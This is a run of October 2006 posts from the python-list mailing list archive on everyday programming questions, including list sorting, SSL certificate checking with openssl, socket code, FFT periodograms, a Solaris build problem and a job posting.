>> B.  Is there a bind_third function of some description that I could use to 
>> define a new function with 3 parameters, feed it the third (the list to 
>> sort by), and have the A.sort(sort_by_in_list) provide the other 2 
>> variables?
>>
> 
> Think in Python.  Define a function to take the list, and have that function 
> return the proper comparison function.  This gives me the chance to also 
> convert the input list to a set, which will help in scaling up my list to 
> hundreds of elements.  See below.
> 
> -- Paul
> 
> 
> def sort_by_in_list(reflist):
>     reflist = set(reflist)
>     def sort_by_in_list_(x,y):
>         ret = 0
>         if x in reflist: ret -= 1
>         if y in reflist: ret += 1
>         return ret
>     return sort_by_in_list_
> 
> A = [0,1,2,3,4,5,6,7,8,9,10]
> B = [2,3,7,8]
> A.sort( sort_by_in_list(B) )
> print A
> 
> Gives:
> [2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10]
> 
> 

Looks like our answers crossed-over.  Must learn about sets in Python...

Thanks very much,

Cameron.


From premiergeneration at yahoo.com  Thu Oct 26 13:56:22 2006
From: premiergeneration at yahoo.com (Yogesh Chawla - PD)
Date: Thu, 26 Oct 2006 10:56:22 -0700 (PDT)
Subject: SSL and confirming certs
Message-ID: <20061026175622.63321.qmail@web82705.mail.mud.yahoo.com>

Hello All,
Here is a script I wrote to validate the cert sent by
the server.  It just makes system calls to open ssl. 
This is because python support is inadequate in this
area.  Let me know if this is helpful.  I monkeyed
with twisted, m2crypto, pyopenssl, and found myself
sinking into a deep depression:

import commands
import urllib

# Get a file-like object for the crl, this is a URL
for the CRL
f =
urllib.urlopen("http://devca.wijis.state.wi.us/certenroll/devca.wijis.state.wi.us.crl")

# Read from the object, storing the page's contents in
's'.
s = f.read()
f.close()
	
#Write the CRL in DER format to a file	 
outFile = open('./tempCerts/crlDER.crl', 'w')
outFile.write(s)
outFile.close()

#Convert the CRL using openssl to a PEM file
commands.getoutput('openssl crl -in
./tempCerts/crlDER.crl -out ./tempCerts/crlPEM.crl
-inform DER ')	
	
#Store the root and intermediary of the server cert in
a file
#called yourChain.cer, here it is WijisChain.cer
#Copy your CRL and your chair to tempCertChain.cer	 
outFile = open('./tempCerts/tempCertChain.cer', 'w')
outFilePermCer = open('./tempCerts/WijisChain.cer',
'r')	
outFileCRL = open('./tempCerts/crlPEM.crl', 'r')	

outFile.write(outFilePermCer.read())
outFile.write(outFileCRL.read())	
outFile.close()
outFilePermCer.close()
outFileCRL.close()	
	 
#Now actually get the server cert, dont know if this
work on windows
#You must pass in your client cert and private key
#enter server port
bigString =  commands.getoutput('echo | openssl
s_client -connect SERVER:PORT  -key myserver.key 
-cert Yogesh02.cer')
	
#Get the server cert out by parsing the output of the
above openSSL command
blockBegin = '-----BEGIN CERTIFICATE-----'
blockEnd = '-----END CERTIFICATE-----'

beginOuter = bigString.find(blockBegin) 
if beginOuter < 0:
	print 'Unable to continue: block begin string not
found'
	
	
beginInner = beginOuter + len(blockBegin)

endInner = bigString.find(blockEnd)
if endInner < 0:
	print 'Unable to continue: block end string not
found'
	
	
endOuter = endInner + len(blockEnd)

blockWithDelims = bigString[beginOuter:endOuter]
blockWithoutDelims = bigString[beginInner:endInner]

#Write the server cert to a file
outFile = open('./tempCerts/server.cer', 'w')
outFile.write(blockWithDelims)
outFile.write('\n')

outFile.close()	

#Verify the server cert and check it against the CRL
as well
statusOutput = commands.getstatusoutput('openssl
verify  -CAfile ./tempCerts/tempCertChain.cer -purpose
sslserver -crl_check  ./tempCerts/server.cer')

#Look at the output and cry or rejoice, drink beer
here/repeat
print statusOutput
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From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Mon Oct 30 02:08:28 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Mon, 30 Oct 2006 08:08:28 +0100
Subject: Event driven server that wastes CPU when threaded doesn't
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
Message-ID: <4qlmncFnjfn7U1@individual.net>

Nick Vatamaniuc wrote:

> If that is not an option, then you are faced with a problem of
> connecting a threaded programming model with an event based model
> (twisted and and such).

I don't really see how threads could avoid a problem with delays in
one connection ...

Regards,


Bj?rn

-- 
BOFH excuse #175:

OS swapped to disk



From surendra.lingareddy at gmail.com  Tue Oct 24 19:17:03 2006
From: surendra.lingareddy at gmail.com (Suren)
Date: 24 Oct 2006 16:17:03 -0700
Subject: Stylesheet not respected
In-Reply-To: <453e9c33$0$335$e4fe514c@news.xs4all.nl>
References: <1161730422.793144.289690@f16g2000cwb.googlegroups.com>
	<453e9c33$0$335$e4fe514c@news.xs4all.nl>
Message-ID: <1161731822.944027.57000@f16g2000cwb.googlegroups.com>

It was nothing related to python but how my httpd.conf was setup.

My apache conf was set to handle files under this.

<Directory "C:/Program Files/Apache Group/Apache2/htdocs/test">

When I said href="body.css", it was looking under test\body.css. My
project src was way deeper and I was assuming that it would like for
the css file where the python source is.

I am sure this is a newbie gotcha...


Irmen de Jong wrote:
> Suren wrote:
> > I was able to the see weird stylesheet behavior on opera, IE and
> > mozilla under
> > mod_python.
> [snip]
>
> I'm 99% sure this has nothing to do with Python but is just an error
> in your CSS file. Show the CSS so we might be able to see the problem.
>
> One thing to check for though is that your web server is serving CSS
> files with the correct content type (text/css and not text/plain or
> somthing equally silly).
> 
> --Irmen



From aahz at pythoncraft.com  Fri Oct  6 23:05:07 2006
From: aahz at pythoncraft.com (Aahz)
Date: 6 Oct 2006 20:05:07 -0700
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
Message-ID: <eg75h3$lg9$1@panix3.panix.com>

In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>,
MonkeeSage <MonkeeSage at gmail.com> wrote:
>On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
>>
>> The following line of lightly munged code was found in a publicly
>> available Python library...
>
>Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh),
>which was written by the very finger of God when the world was still in
>chaotic darkness. 

Did you actually analyze the line of code?  Particularly WRT the way it
operates in different versions of Python?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From scott.daniels at acm.org  Thu Oct  5 15:15:10 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 05 Oct 2006 12:15:10 -0700
Subject: Resuming a program's execution after correcting error
In-Reply-To: <eg3gp2$r5v$1@rzcomm2.rz.tu-bs.de>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
	<1159889617.610051.100990@b28g2000cwb.googlegroups.com>
	<1159919897.485421.305490@m73g2000cwd.googlegroups.com>
	<1159961371.260811.239240@c28g2000cwb.googlegroups.com>
	<eg3gp2$r5v$1@rzcomm2.rz.tu-bs.de>
Message-ID: <452551c6$1@nntp0.pdx.net>

Henning Hasemann wrote:
> Sheldon wrote:
...
>>>>>> Does anyone know if one can resume a python script at the error point
>>>>>> after the error is corrected?
>>>>>> I have a large program that take forever if I have to restart from
>>>>>> scratch everytime. The error was the data writing a file so it seemed
>>>>>> such a waste if all the data was lost and must be recalculated again.
> 
> Sorry if this is off-topic here but Dylan (http://www.opendylan.org) is
> a nice language (I sometimes like even more than python itself) that
> allows you to continue the work right where the exception was thrown.

As I have explained before in this newsgroup, Xerox Parc had that
ability (the ability to finish an exception by returning to its source)
in their system implementation language, and finally removed the
capability when they saw how many bugs were related to its use.

--Scott David Daniels
scott.daniels at acm.org


From http  Mon Oct  2 14:02:52 2006
From: http (Paul Rubin)
Date: 02 Oct 2006 11:02:52 -0700
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
	<mailman.1115.1159810077.10491.python-list@python.org>
Message-ID: <7x64f2siib.fsf@ruckus.brouhaha.com>

Steve Holden <steve at holdenweb.com> writes:
> I should have thought the simplest spelling of your requirements would be
> 
> try:
>      do_something()
>      print "It worked"
> except:
>      # it didn't

This usage is generally disparaged because of the possibility of
exceptions having nothing to do with do_something, including
asynchronous exceptions like KeyboardInterrupt, that really should get
handed up to higher levels of the program.

An approach not mentioned is for do_something to arrange that its
"expected" exceptions would all belong to subclasses of some single
class, so you could catch all those exceptions at once: 

  try: do_something()
  except SomethingException:
     # it didn't work

or alternatively you could break out the individual subclasses:

  try: do_something()
  except SomethingHTTPException:
     # it didn't work for this reason
  except SomethingWhatsitException:
     # or that one

Or alternatively you could just put everything in one exception
with the underlying exception in the returned arg:

   try: do_something()
   except SomethingException, e:
      # it didn't work, e gives the reason
   ...   

   def do_something():
     try:
        do_something_1()   # do the real something
     except (HTTPError, ApplicationError, ...), e:
        # pass detailed exception info up to the caller
        raise SomethingException, (sys.exc_info(), e)


From fredrik at pythonware.com  Thu Oct 26 09:49:48 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 15:49:48 +0200
Subject: doesnt seems to work can any help be provided
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
	<4540bbd4$0$9134$426a74cc@news.free.fr>
Message-ID: <ehqedt$f2n$1@sea.gmane.org>

Bruno Desthuilliers wrote:

> Please take a few minutes to read this:
> http://catb.org/esr/faqs/smart-questions.html

or better, check if the the academic misconduct rules for the university you're
attending happens to say anything about "collusion".

</F> 





From half.italian at gmail.com  Fri Oct  6 05:43:33 2006
From: half.italian at gmail.com (half.italian at gmail.com)
Date: 6 Oct 2006 02:43:33 -0700
Subject: Why do this?
In-Reply-To: <mailman.1336.1160044062.10491.python-list@python.org>
References: <mailman.1336.1160044062.10491.python-list@python.org>
Message-ID: <1160127813.559855.47630@m73g2000cwd.googlegroups.com>

Nobody's mentioned the ability to save a formatted string and then
substitute the variables later...

string = "There are %s ways to skin a %s"

print string % (3, "furry animal")
print string % (166, "beast")

~half.italian

Matthew Warren wrote:
> Ok, not really python focused, but it feels like the people here could
> explain it for me :)
>
> Now, I started programming when I was 8 with BBC Basic.
>
> I never took any formal classes however, and I have never become an
> expert programmer. I'm an average/hobbyist programmer with quite a few
> languages under my belt but I cant do any really fancy tricks with any
> of them. (although Python might be nudging me into more advanced things,
> now I'm starting to get what all the __method__ thingies and operators
> are all about)
>
> I learned over the years to do things like the following, and I like
> doing it like this because of readability, something Python seems to
> focus on :-
>
> Print "There are "+number+" ways to skin a "+furryanimal
>
> But nowadays, I see things like this all over the place;
>
> print("There are %s ways to skin a %s" % (number, furryanimal))
>
> Now I understand there can be additional formatting benefits when
> dealing with numbers, decimal places etc.. But to me, for strings, the
> second case is much harder to read than the first.
>
> I hope I'm not being dense.
>
> The result is that I have pathalogically avoided print "%s" % (thing)
> because it seems to just over complicate things.
>
>
> Ta, :)
>
> Matt.
>
>
>
>
>
> This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer.
>
> You should not copy the email, use it for any purpose or disclose its contents to any other person.
> Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica.
> It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email.
>
> UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK
> Reception Tel: + 44 (0) 115 977 1177
> Support Centre: 0845 607 7070
> Fax: + 44 (0) 115 977 7000
> http://www.digica.com
>
> SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa
> Tel: + 27 (0) 21 957 4900
> Fax: + 27 (0) 21 948 3135
> http://www.digica.com



From ajikoe at gmail.com  Thu Oct 19 20:30:45 2006
From: ajikoe at gmail.com (ajikoe at gmail.com)
Date: 19 Oct 2006 17:30:45 -0700
Subject: python module for finite element program
Message-ID: <1161304245.341556.304670@f16g2000cwb.googlegroups.com>

Hello,

Is there any add on python modules suitable for finite element 3D mesh
such as to create (beam, plate, etc) ?

Best Regards,
ajikoe



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 01:21:23 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 15:21:23 +1000
Subject: Want to reduce steps of an operation with dictionaries
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
Message-ID: <87bqo1nf70.fsf@benfinney.id.au>

pretoriano_2001 at hotmail.com writes:

> I have next dictionaries:
> a={'a':0, 'b':1, 'c':2, 'd':3}
> b={'a':0, 'c':1, 'd':2, 'e':3}
> I want to put in a new dictionary named c all the keys that are in b
> and re-sequence the values. The result I want is:
> c={'a':0, 'c':1, 'd':2}

Okay, it seems that what you mean isn't what most of us understand by
"re-sequence". I'm not sure what transformation you want to occur.

The result you specify doesn't match your description, "a new
dictionary named c all the keys that are in b and re-sequence the
values", because the result you show doesn't have "all the keys that
are in b".

This gets a dictionary with the keys you want:

    >>> a = {'a':0, 'b':1, 'c':2, 'd':3}
    >>> b = {'a':0, 'c':1, 'd':2, 'e':3}
    >>> c = dict([(k,None)
    ...     for k in a if k in b])
    >>> print c
    {'a': None, 'c': None, 'd': None}

though I don't understand what values you want in the dict.

> How can I do this with one line of instruction?

Why one line?

As a general piece of advice, try writing dumb, obvious code that
actually does the transformation you want, and then let us see
that. Don't try to compress things into fewer lines unless that
actually makes it clearer to read.

> I attempted the next but the output is not the expected:
> c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])

"if b.has_key(k)" can be replaced with "if k in b", as above.

> erroneously (for me) gets:
> {'a': 0, 'c': 2, 'd': 3}

Perhaps if you could write it as a series of for loops, or some other
more obvious algorithm, we could understand what you actually want.

-- 
 \     "What if the Hokey Pokey IS what it's all about?"  -- Anonymous |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From http  Mon Oct 16 11:04:42 2006
From: http (Paul Rubin)
Date: 16 Oct 2006 08:04:42 -0700
Subject: Strange Behavior
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
Message-ID: <7xvemkz4hh.fsf@ruckus.brouhaha.com>

Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> writes:
> It isn't a bug in Python. At worst, it is a "gotcha", but it is a
> deliberate design decision, and quite useful. For example, this is good
> for caching complicated calculations:
> 
> def function(x, _cache={}):
>     # _cache is initialised to an empty dictionary at compile time
>     if _cache.has_key(x):
>         return _cache[x]

The above can be done explicitly:

     def function(x):
         if function._cache.has_key(x):
             return function._cache[x]
         ...
     # function gets an initially-empty cache
     function._cache = {}

So the existing behavior, while not a bug (since it's documented), may
well be a wart.


From MonkeeSage at gmail.com  Tue Oct  3 05:10:01 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 3 Oct 2006 02:10:01 -0700
Subject: I need Cryptogrphy in Python please .
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
	<1159863191.600082.78980@c28g2000cwb.googlegroups.com>
	<1159865178.605751.151280@i42g2000cwa.googlegroups.com>
Message-ID: <1159866601.062591.109980@h48g2000cwc.googlegroups.com>

NicolasG wrote:
> I need the modules source to use it with my web server.

I thought you were trying to compile and install the pyCrypto
extension? If that is the case, then download the installer from the
page I linked to.

Regards,
Jordan



From exogen at gmail.com  Thu Oct 26 05:02:35 2006
From: exogen at gmail.com (Brian Beck)
Date: 26 Oct 2006 02:02:35 -0700
Subject: chained attrgetter
In-Reply-To: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
Message-ID: <1161853355.298760.206550@f16g2000cwb.googlegroups.com>

David S. wrote:
> Does something like operator.getattr exist to perform a chained attr
> lookup?
>
> I came up with the following, but I can not help but think it is
> already done and done better.

You were on the right track, but the built-in getattr is a perfectly
good argument to reduce(), using operator.attrgetter just makes the
definition more complicated (see my other post).

--
Brian Beck
Adventurer of the First Order



From fakeaddress at nowhere.org  Fri Oct  6 02:02:48 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Fri, 06 Oct 2006 06:02:48 GMT
Subject: socket client server... simple example... not working...
In-Reply-To: <1160056909.927803.251790@i42g2000cwa.googlegroups.com>
References: <1160015498.917617.256110@c28g2000cwb.googlegroups.com>
	<mailman.1310.1160016608.10491.python-list@python.org>
	<1160056909.927803.251790@i42g2000cwa.googlegroups.com>
Message-ID: <ckmVg.9100$GR.1851@newssvr29.news.prodigy.net>

SpreadTooThin wrote:
> Jean-Paul many thanks for this and your effort.
> but why is it every time I try to do something with 'stock' python I
> need another package?

Twisted has it's fan, but you don't "need" it. Your code had a few
specific problems, and fixing them has little or nothing to do with
Twisted.

> By the time I've finished my project there are like 5 3rd party add-ons
> to be installed.
> I know I'm a python newbie... but I'm far from a developer newbie and
> that can be a recipe for
> disaster.  The stock socket should work and I think I've missed an
> obvious bug in the code other
> than checking the return status.

Obviously you wanted to recv() on your 'clientsocket' not your 
'seversocket'. You can use sendall() to send all the given data;
it will raise an exception if it fails so there's no return code to
check. Since TCP is a stream protocol and does not have any concept
of message boundaries, you'll need to delimit messages within your
protocol, and call recv() until you have an entire message.


-- 
--Bryan


From aitor69gonzalez at gmail.com  Wed Oct 25 04:58:01 2006
From: aitor69gonzalez at gmail.com (aitor69gonzalez at gmail.com)
Date: 25 Oct 2006 01:58:01 -0700
Subject: problem with fft periodogram
Message-ID: <1161766681.731603.88100@m73g2000cwd.googlegroups.com>

Hello,

I am ploting a fft periodogram of my data using a script (found in
internet: http://linuxgazette.net/115/andreasen.html ) that gave me
good results before. There should be a periodicity of >160 in the data
as can be seen by eye. However, this script now says that there is
periodicity of ~9. Can somebody explain me what's wrong? Thank you in
advance.
I present first the python script and second my data.
###### usage ############
python <script_name> <data_file>
######### PYTHON SCRIPT ###########
from scipy import *
import scipy.io.array_import
from scipy import gplt
from scipy import fftpack
# Read file
f=open(sys.argv[1], 'r')
tempdata = scipy.io.array_import.read_array(f)
minutes=tempdata[:,0]
wolfer=tempdata[:,1]
# plot data
gplt.plot(minutes,wolfer,'title "Meas" with linespoints')
gplt.xtitle('Minutes')
gplt.ytitle('Wolfer number')
gplt.grid("off")
Y=fft(wolfer)
n=len(Y)
power = abs(Y[1:(n/2)])**2
nyquist=1./2
print nyquist
freq=array(range(n/2))/(n/2.0)*nyquist
period=1./freq
# plot period
gplt.plot(period[1:len(period)], power,'title "Simul" with
linespoints')
gplt.xaxis((50,400))
gplt.xtitle('Period [minutes]')
gplt.ytitle('|FFT|**2')
##########################
######## DATA ############
0 48
20 49
40 54
60 49
80 69
100 92
120 98
140 58
160 50
180 66
200 76
220 82
240 119
260 141
280 128
300 107
320 93
340 78
360 74
380 74
400 93
420 109
440 135
460 118
480 90
500 64
520 58
540 56
560 70
580 90
600 115
620 158
640 150
660 96
680 73
700 61
720 55
740 66
760 81
780 116
800 142
820 111
840 102
860 84
880 64
#################



From jblaine at mitre.org  Mon Oct 30 15:51:46 2006
From: jblaine at mitre.org (Jeff Blaine)
Date: Mon, 30 Oct 2006 15:51:46 -0500
Subject: Odd build errors
Message-ID: <ei5ol2$6ei$1@newslocal.mitre.org>

We have a GCC in /usr/rcf that was not built with --disable-shared.
As such, there is a /usr/rcf/lib/libgcc_s.so.

We also have a (preferred) GCC in /afs/rcf/lang/gcc/current that
was built with --disable-shared.  As such, there is no
/afs/rcf/lang/gcc/current/lib/libgcc_s.so and binaries built
with this compiler do not link to any shared libgcc_s.

I have the following problem with Python 2.4.2.  I also tried
2.4.4.  Moving up to 2.5 is not an option.

Problem: Builds fine!  Rebuild after dropping in Setup.local
          causes some magic new build process that ends up
          finding and linking in /usr/rcf/lib/libgcc_s.so !

===============================================================================
PATH=/afs/rcf/lang/gcc/sun4x_59/4.1.1/bin:/usr/ccs/bin:/usr/bin:/bin:/usr/ucb
# NOTE: No reference to /usr/rcf/bin, therefore NO picking up the bogus
# GCC and its shared libgcc_s.so
===============================================================================
sun4x_59:cairo> ../configure --prefix=/afs/rcf/lang/python/sun4x_59/2.4.2
sun4x_59:cairo> make
...
===============================================================================
# after successful build...
sun4x_59:cairo> ldd python
         libresolv.so.2 =>        /usr/lib/libresolv.so.2
         libsocket.so.1 =>        /usr/lib/libsocket.so.1
         libnsl.so.1 =>   /usr/lib/libnsl.so.1
         librt.so.1 =>    /usr/lib/librt.so.1
         libdl.so.1 =>    /usr/lib/libdl.so.1
         libm.so.1 =>     /usr/lib/libm.so.1
         libpthread.so.1 =>       /usr/lib/libpthread.so.1
         libc.so.1 =>     /usr/lib/libc.so.1
         libmp.so.2 =>    /usr/lib/libmp.so.2
         libaio.so.1 =>   /usr/lib/libaio.so.1
         libmd5.so.1 =>   /usr/lib/libmd5.so.1
         libthread.so.1 =>        /usr/lib/libthread.so.1
         /usr/platform/SUNW,Sun-Fire-280R/lib/libc_psr.so.1
         /usr/platform/SUNW,Sun-Fire-280R/lib/libmd5_psr.so.1
sun4x_59:cairo>
#
# Ta daaa!  No libgcc_s.so linked in.  GOOD.
#
# Now we drop our Setup.local in place for Solaris 9.
#
sun4x_59:cairo> cp ~/Python242.sun4x_59.Setup.local Modules/Setup.local
===============================================================================
sun4x_59:cairo> make
...
c++ -pthread   -o python \
                 Modules/python.o \
                 libpython2.4.a -lresolv -lsocket -lnsl -lrt -ldl 
-L/afs/rcf/lang/tcl/@sys/8.2.3/lib -R/afs/rcf/lang/tcl/@sys/8.2.3/lib 
-L/afs/rcf/lang/tk/@sys/8.2.3/lib -R/afs/rcf/lang/tk/@sys/8.2.3/lib 
-ltk8.2 -ltcl8.2 -L/usr/openwin/lib -R/usr/openwin/lib -lX11 
-R/usr/rcf/lib -L/usr/rcf/lib -lreadline -ltermcap  -L/usr/rcf/lib 
-R/usr/rcf/lib -lssl -lcrypto  -L/usr/rcf/lib -R/usr/rcf/lib -lgdbm 
-L/usr/rcf/lib -R/usr/rcf/lib -lz         -lm
ld: warning: global symbol `_GLOBAL_OFFSET_TABLE_' has non-global binding:
         (file /usr/rcf/lib/libstdc++.so value=LOCL);
ld: warning: global symbol `_GLOBAL_OFFSET_TABLE_' has non-global binding:
         (file /usr/rcf/lib/libgcc_s.so.1 value=LOCL);
case $MAKEFLAGS in \
*-s*)  CC='gcc -pthread' LDSHARED='gcc -pthread -shared' OPT='-DNDEBUG 
-g -O3 -Wall -Wstrict-prototypes' ./python -E ../setup.py -q build;; \
*)  CC='gcc -pthread' LDSHARED='gcc -pthread -shared' OPT='-DNDEBUG -g 
-O3 -Wall -Wstrict-prototypes' ./python -E ../setup.py build;; \
esac
ld.so.1: python: fatal: libgcc_s.so.1: open failed: No such file or 
directory
Killed
make: *** [sharedmods] Error 137
sun4x_59:cairo> ldd python
         libresolv.so.2 =>        /usr/lib/libresolv.so.2
         libsocket.so.1 =>        /usr/lib/libsocket.so.1
         libnsl.so.1 =>   /usr/lib/libnsl.so.1
         librt.so.1 =>    /usr/lib/librt.so.1
         libdl.so.1 =>    /usr/lib/libdl.so.1
         libX11.so.4 =>   /usr/openwin/lib/libX11.so.4
         libcurses.so.1 =>        /usr/lib/libcurses.so.1
         libgdbm.so.2 =>  /usr/rcf/lib/libgdbm.so.2
         libstdc++.so.5 =>        /usr/rcf/lib/libstdc++.so.5
         libm.so.1 =>     /usr/lib/libm.so.1
         libpthread.so.1 =>       /usr/lib/libpthread.so.1
         libc.so.1 =>     /usr/lib/libc.so.1
         libmp.so.2 =>    /usr/lib/libmp.so.2
         libaio.so.1 =>   /usr/lib/libaio.so.1
         libmd5.so.1 =>   /usr/lib/libmd5.so.1
         libXext.so.0 =>  /usr/openwin/lib/libXext.so.0
         libgcc_s.so.1 =>         (file not found)         # NOOOOOO
         libthread.so.1 =>        /usr/lib/libthread.so.1
         /usr/platform/SUNW,Sun-Fire-280R/lib/libc_psr.so.1
         /usr/platform/SUNW,Sun-Fire-280R/lib/libmd5_psr.so.1
sun4x_59:cairo>



From devs at usa.net  Tue Oct  3 21:41:13 2006
From: devs at usa.net (devs at usa.net)
Date: 3 Oct 2006 18:41:13 -0700
Subject: Chief Software Architect Position
Message-ID: <1159926073.919392.59840@i3g2000cwc.googlegroups.com>

RadioSherpa is an early-stage self-funded startup that is looking to
change the way people listen to the radio.  Central to the RadioSherpa
solution is a real-time electronic program guide.  A beta online
version of our product is available at www.radiosherpa.com.  Further
details about the RadioSherpa solution will be provided upon mutual
interest and under NDA.

We are looking for a Chief Software Architect who will be responsible
for developing our next generation web application.

Required Technical Experience:
-       Extensive software design and development in web technologies,
especially using Python, Linux, Apache and MySQL.
-       Comfortable in C.
-       Some experience with embedded systems.

Other Desired Experience:
-       Experience building and leading teams
-       Experience working in early stage startups
-       Interest in entertainment industry (a big plus)

Most importantly, we are looking for a person who is willing to think
outside the box and work her/his behind off. In return, we will offer
latitude, opportunity to grow and a fun working environment.

Pay will be in the form of equity compensation (until we get funding)
and will commensurate with experience. Pls. note that we CANNOT sponsor
visa or pay for relocation.

If interested, pls. contact Sasha Javid, Founder and CEO at
sasha at radiosherpa.com.



Most importantly, we are looking for a person who is willing to think
outside the box and work her/his behind off. In return, we will offer
latitude, opportunity to grow and a fun working environment.

Pay will be in the form of equity compensation (until we get funding)
and will commensurate with experience.



From sebastian_busch at gmx.net  Wed Oct 25 10:32:35 2006
From: sebastian_busch at gmx.net (Sebastian Busch)
Date: Wed, 25 Oct 2006 16:32:35 +0200
Subject: To remove some lines from a file
In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
Message-ID: <ehnsht$ic1$1@news.lrz-muenchen.de>

umut.tabak at student.kuleuven.be wrote:
> ... I would like to remove two lines from a file.
> ...

I am quite new myself -- but wouldn't grep -v do that easier (and
perhaps faster)?

Greetings,
Sebastian.


From myeates at jpl.nasa.gov  Mon Oct 23 21:10:31 2006
From: myeates at jpl.nasa.gov (myeates at jpl.nasa.gov)
Date: 23 Oct 2006 18:10:31 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453D4BC4.9080100@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
Message-ID: <1161652231.143853.239450@i3g2000cwc.googlegroups.com>

Well, compiling Python 2.5 on Solaris 10 on an x86 is no walk in the
park. pyconfig.h seems to think SIZEOF_LONG is 4 and I SEGV during my
build, even after modifying the Makefile and pyconfig.h.

Mathew

Martin v. L?wis wrote:
> myeates at jpl.nasa.gov schrieb:
> > Anyone ever done this? It looks like Python2.4 won't take a length arg
> >> 2 Gig since its not seen as an int.
>
> What architecture are you on? On a 32-bit architecture, it's likely
> impossible to map in 2GiB, anyway (since it likely won't fit into the
> available address space).
>
> On a 64-bit architecture, this is a known limitation of Python 2.4:
> you can't have containers with more than 2Gi items. This limitation
> was removed in Python 2.5, so I recommend to upgrade. Notice that
> the code has seen little testing, due to lack of proper hardware,
> so I shall suggest that you review the mmap code first before using
> it (or just test it out and report bugs as you find them).
> 
> Regards,
> Martin



From rogue_pedro at yahoo.com  Tue Oct 24 19:14:16 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 24 Oct 2006 16:14:16 -0700
Subject: return tuple from C to python (extending python)
References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
Message-ID: <1161731656.218584.21470@m7g2000cwm.googlegroups.com>

Kiran wrote:
> Hi all, I want to make python call some C functions, process them and
> return them.
>
> Ok, I got all the wrapper functions and everything setup right.  Here
> is my problem.  What I need to do is to return a tuple from C to
> python.
>
> To go about doing this, I first create a tuple object in C doing the
> following:
>
> PyObject* toRet;
> toRet = PyTuple_New(num_addr);
>
> then, in a for loop, i assign values to the tuple as follows:
>
> for ( i = 0; i < num_addr; i++ )
>     {
>         printf("%d\n", dat[i]);
>         PyTuple_SET_ITEM(toRet, i, (PyObject*)dat[i] );
>     }
> (dat is declared as follows: unsigned int* dat; )
>
> then, i say return toRet at the end of my C function.
>
> when I try to print the tuple in python, it says the memory address
> 0x.... could not be written, and I can see a part of the tuple
> printout, which is as follows:
> ( <nil>,
> then i get my error.
>
> can someone please help me with this?
>
> thanks a lot!
> -- Kiran

I have not done a great deal of extension work with python, however, I
do not believe you can simply cast an int (or pointer to int, which is
what you say dat is declared as, unless my C is /really/ rusty) to
PyObject*.

I think you need to do something like Py_BuildValue("i", 123), but see
http://docs.python.org/ext/buildValue.html for more info.

Peace,
~Simon



From steve at REMOVEME.cybersource.com.au  Fri Oct 13 02:37:26 2006
From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano)
Date: Fri, 13 Oct 2006 16:37:26 +1000
Subject: always raise syntax error!
References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com>
Message-ID: <pan.2006.10.13.06.37.25.718583@REMOVEME.cybersource.com.au>

On Thu, 12 Oct 2006 23:25:58 -0700, daniel wrote:

> I'm not quite new to this language, but such error has never happened
> so frequently before. I have no idea what to do about it, because
> there's actually no syntax error at all !!

Looking into my crystal ball, I see that you are correct, there is no
syntax error -- because there is no code! There might not even be a
computer. It is all an illusion brought on by lack of fresh air.

Or maybe not -- my crystal ball is notoriously unreliable. 

How about you post the FULL traceback of the error, so we can see for
ourselves if there is a syntax error or not?

e.g.

>>> x{4} = 5
  File "<stdin>", line 1
    x{4} = 5
     ^
SyntaxError: invalid syntax



-- 
Steven 



From Roberto.Bonvallet at cern.ch  Thu Oct 26 07:14:42 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Thu, 26 Oct 2006 11:14:42 +0000 (UTC)
Subject: To remove some lines from a file
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
	<ehnsht$ic1$1@news.lrz-muenchen.de>
	<mailman.1186.1161793835.11739.python-list@python.org>
